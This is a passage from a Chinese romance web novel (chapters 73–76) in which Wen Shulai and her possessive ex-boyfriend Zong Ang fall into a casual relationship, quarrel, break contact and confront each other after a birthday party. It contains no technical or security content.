她们大学同窗四年,吃喝住学都形影不离,聊天百无禁忌,也不整拐弯抹角那一套。 “找了。”温纾莱不隐瞒好友,直言不讳:“我出门的时候他还在我那里睡觉。” 我、操? 震惊二字写在脸上,孔佳茉激动的都有点语无伦次:“不是,你、你们?什么,睡觉?怎么回事?” “我也不知道。” 温纾莱放下杯子,往咖啡里倒奶。 上班以后越来越不能吃苦,咖啡能少喝就少喝,实在要提神也要加糖加奶,再也找不回大学时期面冰美式当水喝的勇气。 “那你们。”孔佳茉的长美甲轻挠太阳穴:“现在是什么关系?” 温纾莱捏着勺柄搅拌着杯中液体,思忖几秒钟,回:“炮/友?” …… …… 宗昂临近下午才醒。 这两年他睡眠不太好,昨晚靠着温纾莱,是他睡过最安稳的一觉。 这一睡就睡过头。 睁眼时身边没人,卧室里也空荡荡,整个公寓里就他一人。 纸条没有,微信也没有。 温纾莱什么信儿都没留下。 他孑然一身站在客厅中央,拨出温纾莱的电话。 收到冰冷的女音提示——你拨打的电话暂时无法接通,请稍后再拨。 第73章 第 73 章 “你把我当什么了?”…… 温纾莱是在落地纽约后才看到宗昂打来的电话。 微信里还有几条他发的未读。 第一条是北京时间中午的十二点半, 问她去了哪儿。 每次长途飞行温纾莱都会有点晕机,她一般都是上飞机就睡觉,手机开飞行模式。 第二批留言是相隔一个半小时后. 「为什么不回我消息?」. 「你是因为我昨天住在你这里生气了吗?」. 「那我下次不住了, 你别不理我。」 第三次是北京时间下午四点。 一个问号。 最后一次是北京时间晚上八点。 一个句号。 温纾莱和孔佳茉入住在同一个酒店, 孔佳茉订的套房, 温纾莱沾光跟着享受,办理好入住进房间那会儿都得是北京的后半夜凌晨时分, 她就没再回宗昂。 孔佳茉口味刁钻, 嫌飞机餐难吃,一出机场就疯狂在外卖软件上下单,等在酒店洗漱完, 她点的外卖也送到了。 两大份麻辣和蒜蓉的小龙虾, 捞汁海鲜。 啤酒酒店房间里备有。 坐十几个小时的飞机跑到大洋彼岸吃中国菜, 也是蛮有闲情逸致。 温纾莱懒得吹头发, 用浴巾裹起来, 在沙发上扯个抱枕丢地毯上, 和孔佳茉并排坐,戴上手套剥虾吃。 孔佳茉续上飞机起飞前的那个话题:“那你们两个就一直保持这样的关系不变了?” 当时温纾莱扔下重磅炸弹的下一秒广播就提示登记,上飞机后温纾莱就戴上眼罩开睡,孔佳茉知道她晕机的毛病, 硬是憋了十几个小时的八卦欲望。 “不知道, 走一步看一步吧。” 这并不符合温纾莱的处事作风, 她习惯未雨绸缪, 习惯做有把握的事情。 但是宗昂, 是她人生中的一个不确定因素。 且是唯一的一个。 从相识之初,他闯入她的世界,与他的第一晚, 到后来被他强推着走向他,再到分手,这一切的一切都出乎温纾莱的意料。 宗昂的每一步走向都不在她的预估范围内。 既然猜不到,那就不去猜,随遇而安。 还是交给缘分和命运来决定。 “莱你说实话,他当时到底有没有出轨?”孔佳茉极其较真儿这一点:“到底是不是因为他劈腿你们才分的手?” “没有,真没有。”温纾莱哭笑不得地替宗昂正名,谎是她撒的她得负责售后,“他不是个滥情的人。” 恋爱那一年,宗昂的手机、电脑随便她翻,有时他犯懒,连消息都是她帮忙打字回复,他就躺在她腿上玩她头发。 出门和孔佳良他们吃饭聚会也都会先讲明都有谁,到地方后再拍视频向她报备。 孔佳良他们的夜间放纵他也很少参与,吃完饭要转场别人去酒吧他就回公寓跟她视频。 记得向屿的那家Bistro开业,宗昂带她去捧场,那是她第一次见到除孔佳良之外,宗昂的其他朋友们,但他们却早已知晓她这号人物。 席间还打趣说她管宗昂管的那么严,以为会是个泼辣型的姑娘,没想到长这么乖。 温纾莱听后人都是懵的,她可从来没管过宗昂,怎么在他朋友那里她会是这样的一副形象。 宗昂很喜欢狗,温纾莱也是前两天单独偶遇到她小区里养萨摩耶的那个小男孩才得知,宗昂和他互换了微信,每次宗昂来找她,都会给黑葵带一些他买的犬类零食。 可他再喜欢狗,都没再养一只。 他说过,他这辈子只会有巴克这一条狗。 宗昂绝对不是个滥情的人。 但温纾莱也不能确切地说他是一个长情的人。 毕竟他喜欢玩刺激。 这份刺激的保质期是多久,温纾莱不得而知。 …… …… 温纾莱和孔佳茉把酒店冰箱里放置的啤酒全喝了个光,还没够喝,孔佳茉又叫酒店客服送了一回,还加了几瓶洋酒。 两个女生都喝得醉醺醺,后半程孔佳茉接到相亲对象的电话,两人还吵了一架,孔佳茉没避着温纾莱,吵着吵着就切成免提,公放让温纾莱旁听。 孔佳茉批判那个直男害她再也吃不下去牛蛙,直男丝毫没有悔过之心,说那正好戒掉那些邋遢的危险食物。 孔佳茉在酒精的麻醉下说话颠三倒四,气得她按了挂断,直男又契而不舍地打过来。 温纾莱听得乐不可支,觉得孔佳茉和对方有戏。 时装周后天正式开幕,第二天两个女生睡到日上三竿才起。 温纾莱是被宗昂的电话吵醒的,眼睛朦胧地眯起一条缝,来电备注也没看,清清嗓子,接起后凭借肌肉记忆张嘴说话:“喂你好。” 宗昂一听她带着一丝丝含糊的嗓音就知道她还在睡觉。 “是我。” 温纾莱认出他的声音,拖着长音“嗯”一声:“什么事?” “你在哪?”宗昂问。 温纾莱说:“酒店。” “你又出差了?” “嗯,在纽约。” 宗昂其实知道她在哪里,去干什么,在他爸宗穆川那里打听来的。温纾莱有过两次深夜加班,宗昂去接过她,有一次恰逢宗穆川一起出来,他和温纾莱和好的事情就在他爸那里过了明路。 此后宗穆川也不再防他像防贼一样,提起温纾莱就是一问三不知。 他想问温纾莱为什么不告诉他她出差的事情,想问她为什么不第一时间回他消息和电话。 昨天中午在她公寓醒来没见到她人,他有多恐慌。 他怪温纾莱,怨温纾莱,可他随后就又替温纾莱找好借口,她可能是走得太仓促没顾上,也可能是落地后太累还没看手机,还可能是不忍叫他,要他多睡会儿。 没关系,那他算好时差再联系她。 “那你什么时候回来?” “周四。” 周三的优秀有温纾莱喜欢的一个设计师,她要等。 “好。” 宗昂会腾出周四那一整天的空,要不要他接,他静听温纾莱的吩咐。 温纾莱的音量越来越小,宗昂没再拽着她闲聊,问完她回国的日期就放她去睡觉。 温纾莱酒量蛮好,天生的,他们筑城人大多数人酒量都不差,只不过太久没喝过这么多,又是啤酒洋酒掺着喝,凌晨和孔佳茉各自回到房间,温纾莱晕地都没能好好躺到床上。 人扑到床尾就阖眼睡去,这下半梦半醒地感到一侧膝盖僵硬的疼,她才反应过来自己的一条腿跪在地上睡了一宿。 揉着膝盖趴到大床正中央,又沉沉睡去。 扔在脸颊旁边的手机屏幕还亮着,通话没断。 宗昂听着她均匀的呼吸声,按下他这边的静音,给电量满格的手机充上电,以防关机- 温纾莱是纽约时间周四上午的飞机回国,孔佳茉这次不一起,她要飞迪拜耍一圈再回。 宗昂昨天就问过她需不需要他去机场接她,温纾莱本是说不用,宗昂在视频那一边静默两三秒钟。 他趴在床上,手背垫着下巴,四四方方的屏幕里都是他,他用他那一双清澈的灰蓝色眼眸一眨不眨地盯着温纾莱。 “可我想去”。 两年前温纾莱就知道宗昂最是会刷他那张脸来达成他的心愿。 但她还是心软了,改口让他来接。 满打满算才分开四天,再在机场出口见面,宗昂一上来就捧住温纾莱的脸给她一记缠绵的热吻。 周围有路人吹着调侃的口哨走过,还当他们是久别重逢。 宗昂真的很容易动情,再亲下去,一会儿他就要出糗。 温纾莱隐约感到不对劲,红着脸推开他。 一半是羞的一半是憋的。 她的肺活量永远都比不上宗昂,吻技更别提。 上了车,宗昂又粘过来,这次亲得更重更深。在自己的车里再过火都不会丢脸。 宗昂的两只手倒是很老实,只摸着她的脸没乱动,但他只动嘴温纾莱就够难招架。 亲完,温纾莱眼睛里蒙上一层生理性水光,嘴唇殷红又肿,下巴湿着。 那是接吻时来不及咽下的津/液。 宗昂用纸巾帮她擦净,又依依不舍地啄两下她的唇瓣:“好想你。” “我才走四天。” “一天不见我就会很想你。” 宗昂也惯会说情话,与温纾莱的含蓄不同,他的情话信手拈来,会直视着温纾莱的眼睛,那些肉麻的词语经由他口中讲出是能打动人心的真诚。 他脑袋埋进温纾莱肩窝,蹭着她撒娇:“真的很想,你信我。” “我没不信。”温纾莱痒得很,又躲不掉,催促宗昂:“别闹了,快走,一会儿晚高峰要堵车了。” 宗昂又捏着她的脸,伸舌在她嘴巴里勾了一圈,而后坐直开车。 温纾莱头转向窗外,余光都不留给宗昂,怕瞄到什么尴尬的东西。 到公寓楼下,温纾莱边解安全带边跟宗昂说:“你就别上去了吧,我来例假了。” “为什么?”宗昂一时没捋清她生理期和他不能上楼这二者间有何关联。 温纾莱用着在正常不过的语气:“我例假第三天又做不了,你还上去折腾一趟干什么?” “不折腾啊,又不一定要做。”宗昂开这么一路的车,那点火也都平息下去。 也对。 纾解欲望也不一定要做到底,还有很多办法。 可温纾莱飞这一趟很疲,没心思。 “我也不想用手,很累。” “不是,你想什么呢。”宗昂差点都没意会到温纾莱隐晦的否决,他被逗笑:“我还没那么精虫上脑,你放心吧,我什么都不做。” 温纾莱更为不解:“那你还上去干什么?” 宗昂才扬起的唇角缓缓抻平,他总算回过味来。 “我什么都不做就不能上楼。”他说:“你把我当什么了?按摩/棒?” 第74章 第 74 章 断联 宗昂的用词未免太难听。 但被比喻的对象的又是他自己。 温纾莱叹声气:“我没那么想。” “那你怎么想?”宗昂沉着脸, 眉眼间压着一股火:“很少在白天跟我见面,也从不让我过夜,做完就让我走, 去哪儿、每天在干什么都不告诉我, 这不就是把我当成一个工具吗?” 他越想越气, 声音愈发的高,控诉中带着委屈。 温纾莱还从未被宗昂这样直白的讨伐过, 他威胁过她, 也恳求过她,他还会撒娇,就是没有这次这样像个小孩子似的直来直往地撒泼, 她一时有些懵, “你先冷静一点。” “冷静。”宗昂目光投向她, 近乎逼视:“所以你觉得我在无理取闹是吗?” “我只是觉得没必要跟你说这些。”温纾莱摆正脸, 回避宗昂的视线, 搁在腿上的手抠弄着指甲, 她半垂着眼:“我们只是炮/友,没必要——” “炮友?”宗昂打断她。 难怪。 难怪和好以后他总是感觉温纾莱若即若离,他一直都在反思自己是不是哪里做得还不够,才导致温纾莱对他有所保留。 他克制着不去用他那些温纾莱不喜欢的手段探查她, 也不去打扰她, 等她亲自跟他讲他的行程或是叫他见面, 努力做一个成熟懂事的合格伴侣, 给予她尊重和自由。 可是在一开始, 他的思想就出现了偏差。 自作多情地认为他们已经和好。 实则在温纾莱那里,他们只是炮友。 他连和韩子彦平起平坐的资本都没有,他只是一个见不得光的地下情人。 宗昂舌尖再次滚过这两个字:“炮友。” 他歪靠回座椅里, 看着前方车灯凝聚的终点,讥讽地嗤一声:“原来你是这么归类我的。” 车内光线昏昧,随机播放的音乐哼出“到此为止”四个字。温纾莱不爱听宗昂歌单里那些节奏强劲的外文歌,每次她在车上,宗昂都会放她喜欢的那种风格的歌曲。 沉缓的曲调此时演化成无声的躁动。 温纾莱扣指甲的小动作停下,她轻声说:“你要不想的话,那我们就到此为止吧,可以吗?” “你还有问我的必要吗,当初分手你不也没管过我。”宗昂是发自内心的稀奇:“对你来说,‘结束’这两个字是不是特别没有分量,分手也能随随便便说出口?” 他现在明显就在气头上,沟通不出什么有效结果。 温纾莱不做无用功,她不喜欢吵架,吵架于她而言是一件很耗神的事情,尤其不想跟宗昂吵。 她摸索到车门把,告别的话就到嘴边。 宗昂适时开口拦她:“如果我要说不可以呢。” 温纾莱没衔接上,看向宗昂:“什么?” 他侧着脸,面容在光影的切割雕刻下阴沉又锋利。 “我要是不同意结束,你是不是还要跟我维持炮/友关系?” 温纾莱怔忪点头:“你愿意的话。” 宗昂自嘲:“没想到有一天我也能有决定权。” 温纾莱抿抿唇。 宗昂没再多说,推开车门下车,到后备箱拎出温纾莱的行李箱。温纾莱也下来了,站在副驾车外,伸出手要接过她的东西。 宗昂没理她,提着行李箱绕过她迈上楼前的台阶,被挡在门口,他叫温纾莱:“开门。” 温纾莱从包里翻出一串钥匙,过去刷卡,刷完要去拉门,又被宗昂抢先一步,后者轻抬下巴示意她先进。 电梯上升时会发出细弱的运行噪音,缓解着温纾莱和宗昂二人之间压抑的沉默,擦得锃亮的玻璃门一览无余地照映出二人的身影。 中间留有半人宽的空隙,全程无交流,像是碰巧同乘一部电梯素不相识的陌生人。 到温纾莱住的那一层,两人一前一后出去。 温纾莱开门后,宗昂把行李箱提进玄关里,他人站在门槛外面,温纾莱走进去两步才觉察到身后的安静。 她转身:“怎么不进来?” 她还当宗昂执着于跟她上楼是要留宿。 区别于在楼下车内的暗淡,楼道里的声控灯明晃晃,宗昂的神情也被照得明晰。 他几分钟之前的暴怒、怨忿全都不见,平静地与温纾莱对视,眼神里有那么几分几不可察的颓丧。 “我经常会想我是不是很差劲,很不讨你喜欢,不然你怎么对别人都很宽容,对我就这么狠。” “当初说分手就分手,走得那么干脆,连等我醒过来都不愿意,现在又这么对我。” 宗昂尾音不可自抑地发颤,喉结耸动,眼圈渐红,整个人都笼罩着一股颓败的气息。 温纾莱有那么一瞬间觉得自己是个十恶不赦的恶人,把宗昂弄成这么难受的样子。 可这一切不就是他想要的吗? 他想玩“刺激”,她不是满足他了吗? 怎么现在他又反过来怪她? 温纾莱唇瓣翕动,欲言又止。 宗昂垂了下眼皮,再抬起,情绪收敛:“我走了,你早点休息。” 他从外面帮温纾莱带上门。 “咔嚓”一声落锁。 一道门将他们两个隔绝开来,形成一道屏障横贯在他们心间,一个在内一个在外。 屋内还没有开灯,玄关鞋柜的声控灯也灭掉,温纾莱站在黑暗中,盯着那扇紧闭的大门看半晌,拿上行李箱转身回卧室- 在温纾莱的公寓门口分别后,温纾莱和宗昂就默契的不再联络。 那天宗昂问她“如果他不同意结束,是不是还要维持炮/友关系”,温纾莱以为他的意思是当炮/友也行。 现在看来,是她误会了。 破碎的镜子短暂粘合起一段时日后终究又破碎,可能这就是命运谱写给他们的最终结局。 温纾莱又过回生活里没有宗昂的日子,就如同前两年多一样,按部就班的上班,穿梭在工作室和各个影棚之间,间或再去替宗穆川在圈内的各大活动中露个脸,或是以她自己的名义应邀出席。 宗穆川从头到尾都没有问过温纾莱关于宗昂的任何一句,无论是两年多以前他们第一次分手还是两年多以后的再度崩盘。 宗穆川是个相当称职的老板,从不夹带私人感情,温纾莱时常会忘记他和宗昂是父子,这也是温纾莱能心无旁骛在宗穆川手底下工作的根本原因。 这样毫无新意的日子按理她应该已经习惯,或许是因着昼夜颠倒的跟着剪辑组剪片子,她觉得时间变得格外漫长,可一看日历也就才过去小半个月。 周末前夕,温纾莱收到宗霖生日会的邀请。 她和宗霖真算不上熟络,互有好友也是在列表里躺尸的那种,但有时在公众场合碰上,宗霖都会看顾着她。 不管是出于谁的情面,受益人都是她,于情于理她都得送份礼物。 至于他的生日聚会—— 温纾莱回信他,先是一句祝福:「生日快乐,岁岁开心。」 「生日会我就不去了,礼物一定会送到。」 宗霖都能接下宗昂布置给他的任务,那他们兄弟两个该是能和睦相处,宗霖的生日想必宗昂不会缺席。 一个小时后的午饭点钟,宗霖回她一条语音。 “别介啊,今年可是我本命年的生日,十二年一次,多隆重啊。”宗霖劝说:“再说礼物有什么可稀罕的,稀罕的是人,我这次生日可不是谁都能来的,叫你来你必须得给面子。” 温纾莱先喝口柠檬茶润嗓,她在外面跑一上午,口干到嗓子要冒烟。 边打字:「那天我有事。」 宗霖懒得在网上磨叽,甩来一个语音通话。 温纾莱顿了顿,接起。 一接通,宗霖就先发制人:“你那天有什么事儿都给我往后推,就是生病都等着给我过完生日再病,我这两年明里暗里帮你那么多,本命年过个生日叫你来热闹热闹还要三催四请的,你过意得去?” 是蛮过意不去。 温纾莱被宗霖站在道德制高点批评的还有那么点无地自容。 听温纾莱不吱声,宗霖直觉她有所松动,独断专行道:“就这么定了,那天我叫人去接你,你等着就行了。” 温纾莱推脱不掉,应下来。 下班后温纾莱先去商场给宗霖挑了个生日礼物,就地找家餐厅解决完晚饭后,回家。 宗霖没说他的生日Party有无着装要求,温纾莱前一晚问他,他说没那么多讲究,随心穿。 温纾莱图省事,找了条连衣裙穿上。 无袖款,格纹配色,腰间搭一条棕色系腰带,宁静又复古。 刚拾掇完,宗霖恰好点一样发消息告诉她司机已经等在楼下。 温纾莱拿上礼物下楼,楼前停着一辆灰色Revuelto,两座,副驾车门向上打开。 驾驶位的人只能看到曲起来的一只膝盖。 温纾莱对比好车牌号,上车。 熟悉的薄荷冷香扑鼻。 第75章 第 75 章 嫉妒 宗昂低着脖颈刷手机, 吊儿郎当的姿态,在温纾莱上车后也没往她这边看一眼。 温纾莱扯过安全带系好。 锁扣“咔哒”一下扣好。 紧随其后的是类似的一声响动。 宗昂把手机滑进中控台的置物槽里。 他发动车子,引擎低轰, 跑车绕着楼前的花坛转一圈掉头驶出小区。 车内没放歌, 背景音只有车子行驶在道路上划过的风声, 以及他们二人手机时不时弹出的提示音。 温纾莱转过头面朝窗外,街景百无聊赖地在眼前匆匆略过。 宗昂单手把着方向盘, 另一只手还懒散地支着额头, 脸稍微往副驾驶的方位偏。 路况极为顺利,一路绿灯,省下等红灯时相顾无言地窘困。 蓦地, 一道铃声响起, 打破车内静谧又滞涩的局面。 温纾莱最近严重缺觉, 遮瑕打了两层才遮住青黑的眼圈, 宗昂车开得稳, 他身上的薄荷冷香不仅没有提神醒脑的作用, 相反催得她困意重重。 正阖着眼浅寐,一听这道铃声,她瞌睡全无,本能朝声源处望。 是宗昂的电话。 他手机连接着车载蓝牙, 中控屏上跳动着“莫念琪”三个字。 宗昂余光里的温纾莱倏尔坐直, 似乎是被吓到般惊醒, 他歪着的脑袋直起来, 都没留心中控屏, 握方向盘的右手换成左手,从置物槽里捞出手机。 来电显示都没看,直接按两下锁屏键挂断。 第二通电话在下一秒钟打进来。 宗昂还要挂, 温纾莱这时跟宗昂说了上车以后、也是这半个月以来的第一句话。 “你要不接一下吧,万一有什么急事呢。”她听那铃声听得心燥。 宗昂手指落下的位置从善如流地换成接听,贴到耳边:“喂。” 通话音量不大不小,在封闭的车厢内刚好够温纾莱听清。 莫念琪嗔怒问:“我打的第一个电话你怎么不接呀?” 宗昂没回这个没营养的问题,直截了当:“有事吗?” “没事就不能给你打电话了吗?”莫念琪配合地给出一个事由:“想你算不算?” 宗昂心如止水:“挂了。” 莫念琪“诶”了声,妥协让步:“好了我说正事,我拿下刘师琳下部剧的女主了,请你吃个饭陪我庆祝一下?” “恭喜。”宗昂客套地送上祝贺,再直白拒绝:“庆祝你找别人吧,我没空。” 莫念琪不死心地还要再劝,宗昂不留余地地斩断:“在开车,挂了。” 第三个人的声音戛然而止,车内气氛又恢复原状。 宗霖生日Party的举办地点在半山腰的一栋别墅,抵达山脚,街道上如织的车流骤减成个位数,宗昂切成远光灯,沿着盘山公路一圈又一圈地向上开。 他们到的稍晚,别墅院子里已经停满豪车,特意请团队来装扮的Party现场霓虹闪烁,都无须走进,在院子里都能看见屋内纸醉金迷的景象。 快堆成一面墙高大大小小的礼物、摞成一层楼高的香槟塔,镭射灯扫控全场。 温纾莱这下明白宗霖为什么要挑个这么偏远的地方。 夜店施展不开,酒店太过正经,市中心的自己家里这么闹,邻居分分钟得带警察上门状告扰民。 温纾莱和宗昂走近场内,宗霖打扮的像只花枝招展的孔雀,逢人就碰个酒杯聊两句。 温纾莱当面再次庆贺:“生日快乐。”她送上礼物:“不知道你喜欢什么,就随便买了对袖口。” 宗霖跟异性调情调惯了,在他们来前又喝不少,闻言不着调地脱口而出:“客气了不是,你送什么我都喜欢。” 宗昂声冷:“你喝懵了?” 宗霖一个哆嗦赶走那几分堪堪犯晕的醉意,他抖肩正正衣领,“甜品在那边,二楼有桌游场,三楼是休息区,想吃什么你们就叫厨师们做。” 说完,脚下抹油地跑走,手还摸着鼻梁,这是他被宗昂揍断后留下的后遗症。 来为宗霖庆生的都是他们那个圈子里的人,男女都有。 他们这个二代圈子,温纾莱只和宗昂、孔佳茉相熟,孔佳茉自纽约时装周后就没回国,原地开启她下一段旅程。 宗昂在这圈子里游刃有余,已经来了好几拨人跟他打招呼,温纾莱叫他去玩,他不去,亦步亦趋地守着她,替她挡了几杯酒,赶走两三个上前搭讪她的男生。 还在她耳边跟她讲解那几个男生的浪荡事迹,要她离他们远一点。 温纾莱自上车后就升起的别扭愈发加重,他们不是都断联了吗。 不是不要再继续了吗。 宗昂这又是在做什么? 纵使已经结束,也不允许别人来沾染他的所有物,又把她圈禁在他的羽翼之下。 温纾莱烦死。 反叛心理被激发,在宗昂出去打电话,又一个异性来认识她时,温纾莱接过对方递来的那杯酒。 男人打探道:“我刚刚看你和另一个人站在一起,他是你男朋友吗?” 宗昂长久不在北京,这个圈子里不是所有人都认得他,有少部分人知道宗昂的名字,人还对不上号。 和温纾莱闲谈的这个男人就是那少部分的其中之一。 温纾莱否认:“不是。”但也没再说明宗昂和她是什么关系。 男人也不在意,靠近她些许,胳膊搭上温纾莱后方的椅背:“三楼露台的风景不错,还安静,要不要去楼上坐坐?” 宗昂接完电话回来,看到的就是温纾莱和一个油头粉面的装逼男相谈甚欢的场景,他眼睑下拉,唇线绷直,提步走过去,裹着一阵风。 到温纾莱身侧,一言不发扣住她的手腕,拽她起来,带她往外走。 他步子迈得大,温纾莱得小跑才能跟上,攥的也紧,温纾莱扒不掉。 宗霖从院外一进门,差点儿迎面撞上他们二人,及时刹住脚:“这就要走了?” 再细看到宗昂阴云密布的脸,他懵逼眨眼:“又抽什么疯了这是?” 无人理他。 大家都在别墅里轰趴,院子里停放的只有车,两道错乱的脚步声交相呼应。 大庭广众之下被他押犯人似的扯走,温纾莱恼怒不已,走到一处僻静的角落,她憋不住火地爆发:“宗昂,你又发什么疯?” “我还想问问你要干什么!”宗昂回身逼近她,气到口不择言:“我都跟你说了他们不是什么好东西,我和韩子彦还不够你消遣的吗,玩我一个还不够还想再来一个,你玩得过来吗?” 他知道温纾莱没有看上那个男人,那只是她反抗、不满他的过度保护的一种方式。 她骨子里是叛逆的。 可是温纾莱一整晚都在漠视他,反而对着别的男人言笑晏晏。 他嫉妒得要死。 他说的这番话也很重,说完他就后悔了。 但覆水难收,话落他就被又甩了一巴掌。 “那你又是什么好东西?”温纾莱红着眼瞪他:“我们早就分手了,我就是玩几个都跟你没关系,你有什么资格管我?” 宗昂被温纾莱打出抗体,脸都没侧一下,他最无法忍受温纾莱同他划清界限,他半眯起眼,居高临下地看着她:“我是不是最近装得太乖所以让你有种我变得很好说话,很没脾气的错觉?” 温纾莱警惕后退:“你想干什么?” “你放心,总归不会是再把你关起来。” 宗昂打横抱起温纾莱,钳制住她的胳膊和腿,温纾莱动一下都困难。 把温纾莱塞进车里,宗昂关上车门用钥匙锁住以免她逃跑。他从车前绕回驾驶位上车。 重踩油门,车子如离弦之箭般弹射起步。 宗昂这次车开得很快,两边景物飞速倒退,掀起的破空声浑厚沉重。 温纾莱垂在身侧的右手在包里握紧手机,如若宗昂再有犯浑的苗头,她就报警。 比起来时,车内气氛更为僵硬,是一触即发的紧绷感。 温纾莱在北京生活这么些年,对北京的布局也相对熟谙,眼瞧着宗昂越开越偏,街边路灯都有一盏没一盏地亮着,她耐心告罄。 “你到底要带我去哪儿?” 宗昂先没答,继续往前开着,又过五分钟,他减慢车速,关掉冷风,降下两侧车窗,换进新鲜空气。 车停在一处山顶,放远眺望,能俯瞰到半个北京城的夜景。 脚下是万家灯火,抬头是星罗棋布。 舒爽的晚风吹过,温纾莱的一缕发丝拂到宗昂肩头。 她特有的清淡香气也飘进宗昂的呼吸间,他的火气渐消。 “我也不知道这是哪儿,随便开的。”宗昂说:“我就想找个没人打扰的地方,我们好好谈谈。” 温纾莱呛声:“我跟你没什么可谈的。” 宗昂置若罔闻,他抬手摁下一个按钮,跑车的蓬顶打开。 “你看今晚的夜景像不像我带你出海去看海豚的那晚。” 温纾莱闭眼不看。 就跟宗昂反着来。 宗昂也不恼,只要温纾莱不视他为空气,她做什么都好,连扇他巴掌他都觉得是一种奖赏。 他越过中控,掌心攀上她脖颈,扣着她贴向自己,探舌吻她。 另只手牵住她放在腿上的手,死皮赖脸地硬挤进她的指缝。 温纾莱不张嘴,他就吮吻着她的唇瓣,反复厮磨。 直至温纾莱的嘴唇被吸到刺痛,想要制止他,却着了他的道,一启唇就被堵个严实。 温纾莱气得咬他他也不躲,由她发泄,等她松口,给他咬出血他才撤离。 宗昂抵着她的额头道歉:“对不起,我不是故意那么说你的,我没有那个意思。” 温纾莱默然地侧过脸,避开和他交融的呼吸。 宗昂意味不明地笑笑:“我妈说的果然没错,我现在回来只会再一次搞砸我跟你的关系。” 第76章 第 76 章 “从一开始就是我在仰视…… 宗昂想要和温纾莱敞开心扉地聊一聊。 他为他和温纾莱的感情做过那么多, 最终换来一个土崩瓦解的结局,显而易见,他的努力无甚意义。 有很大几率是他的自以为是。 可宗昂并不擅长于此, 在他受到的教育观念里, 和别人推心置腹就相当于亲自递把柄给别人, 在莉娅那个唯利是从的家庭里,这是绝对不可以犯的错误。 他更擅长伪装出良善的模样或者用花言巧语来哄骗、蛊惑人心以此来达成他的目标, 但这些方法再加用在温纾莱身上, 只会再次适得其反。 他也不能再蒙骗温纾莱。 没人教过他“谈心”这门功课的做法,莉娅也只是在他这次回国前转送给他一句——虽然行动胜过千言万语,但有效的沟通有时也能更胜一筹。 具体该怎样执行, 宗昂无从判断。 他没说话, 温纾莱也沉默不语。 两人只有还牵在一起。 又是一道铃声响, 中控屏蹦出宗霖的名字。 宗昂不假思索地挂掉这个没眼力见的电话, 也由此想起去时在车上吓到温纾莱的那通电话, 找到切入点:“我和莫念琪什么事情都没有, 之前有一次我妈去看秀的时候身体不适晕倒了,是莫念琪叫车送她去的医院,我也是那个时候认识的她,留了联系方式, 送了她一个代言还人情, 后来想起来你们是同学。” 莫念琪保密工作做得很好, 在她和宗昂一同回国的那条微博爆出前, 温纾莱都没有将莫念琪自爆的理想型和宗昂联系到一起。 读书那阵儿莫念琪是对宗昂有那么点意思, 但他们两个恋爱后莫念琪也没做过什么,没想到在他们分手后莫念琪会和宗昂有所交集。 她和莫念琪不熟,就不太关注她, 但她有个莫念琪妈粉的同事,而她坐在同事旁边,是同事的第一顺位分享者。 有些印象,莫念琪好像是在还未获奖前就拿下了个顶奢代言,当时还有人酸言酸语说资本家闯娱乐圈就是容易。 那个顶奢代言也就此打开莫念琪的时尚资源。 原来还有这一层关系在里面。 温纾莱不知道回什么,勉强接一句:“那阿姨身体还好吗?” “没什么大事,晕倒是因为怀孕睡眠不足累到了。” 温纾莱惊讶侧目:“怀孕?” 宗昂语气平淡的像是在讲述别人的故事:“我妈谈了个跟我差不多大的男朋友,但孩子没留,她算高龄产妇了,生孩子危险太大,她也不想生,怕耽误她时间。” 他爸妈都离婚快二十年,再找也是情理之中。 在莉娅和宗穆川刚离婚的那时,莉娅就给宗昂打过预防针,她说她和宗穆川以后都会开启各自崭新的生活,他们不会为一段画上句号的感情而停滞不前。 “是打掉了吗?”温纾莱不知不觉间偏向宗昂:“那对身体的伤害不是更大?” 宗昂是真无奈了,即使温纾莱不见得会吃醋多思,他也不愿给温纾莱留下他和别的异性有染的印象,结果人关心的对象只有他妈。 “没打,自己流掉的。”宗昂说:“她身边有专人照顾调理,好得很。” 他又调头绕回:“上次机场被拍是莫念琪打听到我回国的日期,买了同一趟航班,她卡着登机时间上的飞机,那个时候我已经下不去了。” 透露给莫念琪他航班信息的是他的一个助理,过后就被他炒了,不忠于他的人他不会留。 机场被拍是巧合还是莫念琪的有意策划,宗昂没兴趣知道,热搜一登他就去找孔佳良撤了,又借孔佳良的微博撇清自己。 做这件事前他并没有知会莫念琪,莫念琪事后给他打来的电话他一个都没接,碍于她救过他妈他才没拉黑做绝,但也仅此而已。 莫念琪是否丢脸也不在他的关心范畴内,他本质就是一个冷漠的人,有限的人情味只会留给他在乎的人。 他说:“她是跟我表过白,但我拒绝了,我也没做过越界的事情。” 温纾莱“哦。”一声。 话题就此中断。 宗昂看看温纾莱,姑娘又垂下脸,侧向他的身体也回正坐直。 还是不太愿意理他的样子,他要是不主动她就能一直当哑巴。 宗昂另起话头:“你就不想问问我为什么挑这样一个时间回来吗?” 温纾莱的手被他揉得汗津津的,抽又抽不回来,她嘟囔着:“你想回就回了,有什么可问的。” “你不了解我吗。”宗昂又调起情来,挑眉笑得蛮嘚瑟:“我这么有仪式感的一个人,回来找你怎么可能那么随便。” 温纾莱真忍不下去,她转着手腕:“你先放开我,都是汗。” 宗昂拉开她那边的储物箱,拿出湿巾,细致地给她擦手。 “我妈让我完成她的要求再回国来找你,但是看着她和她的男朋友那么甜蜜,我就很害怕。” “你怕什么?”温纾莱想不通二者间有何关联。 他说:“怕你忘了我。” 这些年莉娅前前后后换过好几任男友,谈几个月就散,与其说是在恋爱,不如说是解决生理需求更为准确。 可如今这一任,宗昂能感到莉娅付出的要比前几任走心许多。 他的童年记忆里有父母恩爱的画面,网上随手一搜也能狗仔记录下找到莉娅和宗穆川相爱的证据,可他们分开了。 且在时间的推移下,当年轰轰烈烈的满腔爱恋或支离破碎或转嫁给他人。 这些年在各大平台看到宗穆川的消息,或是在一些公开场合巧遇碰面,莉娅和他已经能和平共处。 再提起宗穆川,宗昂已经听不出莉娅带有丝毫的个人感情色彩。 而在亲眼目睹着莉娅对小男友愈发上心,宗昂也愈渐恐慌。 莉娅让他彻底想通、想透温纾莱斯为什么会和他分手,并且意识到自己错在哪里、能完全理解温纾莱的选择后再回国。 他统统都没有做到就先跑了回来。 他怕他再耽搁下去,有一天温纾莱也会在时间的冲刷下淡忘他。 他不在乎温纾莱对他产生的都是负面、消极的情感,厌烦也好憎恶也罢,都可以,他只怕温纾莱待他与其他普通人无异。 温纾莱喜欢别人、和别人恋爱都没关系,只要他还能挑起她的情绪,他就有胜算。 事实证明,他赌赢了。 温纾莱还会因他而有所波动。 她和韩子彦在一起又怎样,只要他坚定不移,早晚能踢走那个讨厌鬼。 